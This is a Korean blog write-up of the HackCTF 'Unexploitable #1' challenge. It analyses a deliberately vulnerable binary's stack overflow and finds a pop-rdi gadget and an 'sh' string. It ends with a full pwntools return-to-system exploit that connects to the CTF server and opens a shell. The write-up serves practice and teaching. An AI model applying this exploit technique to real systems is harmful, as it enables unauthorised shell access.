HackCTF Unexploitable #1 Write-Up

juuun0·2022년 1월 26일
1
post-thumbnail

Analyze Program

우선 문제 파일을 다운로드 받은 후 checksec을 통해 적용되어 있는 보호기법을 확인하였습니다.

root@e60a28c09eb6:~/hackctf/unexploitable_1# checksec unexploitable_1
[*] '/root/hackctf/unexploitable_1/unexploitable_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

프로그램을 실행할 경우 특정 문구를 출력 후 입력 대기 상태가 되었습니다.

root@e60a28c09eb6:~/hackctf/unexploitable_1# ./unexploitable_1
Easy RTL ha? You even have system@plt!
asdf

Ghidra를 사용하여 확인한 결과로는 모든 동작을 수행하는 main 함수와 일반적으로는 호출되지 않는 gift 함수가 존재하였습니다.

  • main 함수
undefined8 main(void)

{
  char local_18 [16];
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  fwrite("Easy RTL ha? You even have system@plt!\n",1,0x27,stdout);
  fflush(stdin);
  fgets(local_18,0x40,stdin);
  return 0;
}
  • gift 함수
void gift(void)

{
  system("use this system gadget :D");
  return;
}

main 함수에서 system@plt에 대한 언급과 gift 함수에서 system() 함수를 호출하는 것을 보아 해당 함수를 이용한 RTL 공격을 수행할 필요가 있음을 확인할 수 있었습니다.


Find Trigger

main 함수에서 선언된 local_18 변수의 크기는 16이지만 fgets의 경우 0x40 만큼 입력받기 때문에 overflow가 가능하였습니다.

따라서 ret 주소를 변조하기 위한 padding을 구한 후 gift 주소로 변조하였을 때 아래와 같은 결과를 확인할 수 있었습니다.

종종 ghidra로 확인한 위치와 gdb로 확인한 위치가 달라서 무슨 차이가 있는건가 싶었는데 ghidra에서 표시되는 값은 gdb에서 표시된 값 + SFP offset과 일치하였습니다.
즉, ghidra에서는 0x18 값에 SFP가 포함된 offset이었으며 gdb에서는 0x10에 SFP(0x8, 64bit 기준) 크기만큼 제외되어서 표시되었습니다.

sh: 1: use: not found

위와 같은 내용이 출력되는 이유는 인자로 사용된 값이 올바른 명령이 아닌 것이기 때문으로 추정되었습니다. 즉, gift 함수를 직접 실행하기 위함보다는 system@plt 호출을 위해 있다고 예상할 수 있었습니다.

system 함수의 경우 호출이 가능한 것을 확인하였으므로 인자를 전달하기 위한 gadget과 인자로 전달할 값이 필요합니다. gadget이 필요한 이유는 64 bit calling convention에 의해 첫 번째 인자는 rdi에 저장되어야 하기 때문입니다.

gadget의 경우 rp++를 사용하여 검색하였습니다.

root@e60a28c09eb6:~/hackctf/unexploitable_1# rp++ -f unexploitable_1 -r 4 | grep 'pop rdi'
0x004007d3: pop rdi ; ret  ;  (1 found)

인자로 전달할 값의 경우 여러 시나리오를 구상할 수 있지만 별도의 library나 base address의 출력이 없기 때문에 고정된 주소에 있는 값을 사용할 필요가 있었습니다.

system 함수의 경우 '/bin/sh'가 아닌 'sh' 문자로도 shell을 실행할 수 있기에 gdb를 사용하여 해당 문자열을 검색하였습니다.

gdb-peda$ find "sh"
Searching for 'sh' in: None ranges
Found 102 results, display max 102 items:
unexploitable_1 : 0x4003bf --> 0x6e69647473006873 ('sh')
unexploitable_1 : 0x6003bf --> 0x6e69647473006873 ('sh')

고정된 주소에 있는 결과를 확인할 수 있었고 이를 이용하여 최종 exploit을 완성할 수 있었습니다.


Exploit

#!/usr/bin/python3

from pwn import *

#p = process("./unexploitable_1")
p = remote("ctf.j0n9hyun.xyz", 3023)
e = ELF("./unexploitable_1")

#context.log_level = 'debug'
context.arch = 'x86_64'

padding = "A"*0x18
gadget = 0x004007d3     # pop rdi; ret
binsh = "sh"

rtl = p64(gadget)
rtl += p64(0x4003bf)
rtl += p64(e.symbols['system'])

payload = padding.encode('utf-8')
payload += rtl 

p.recvline()
p.sendline(payload)

p.interactive()
profile
To be

0개의 댓글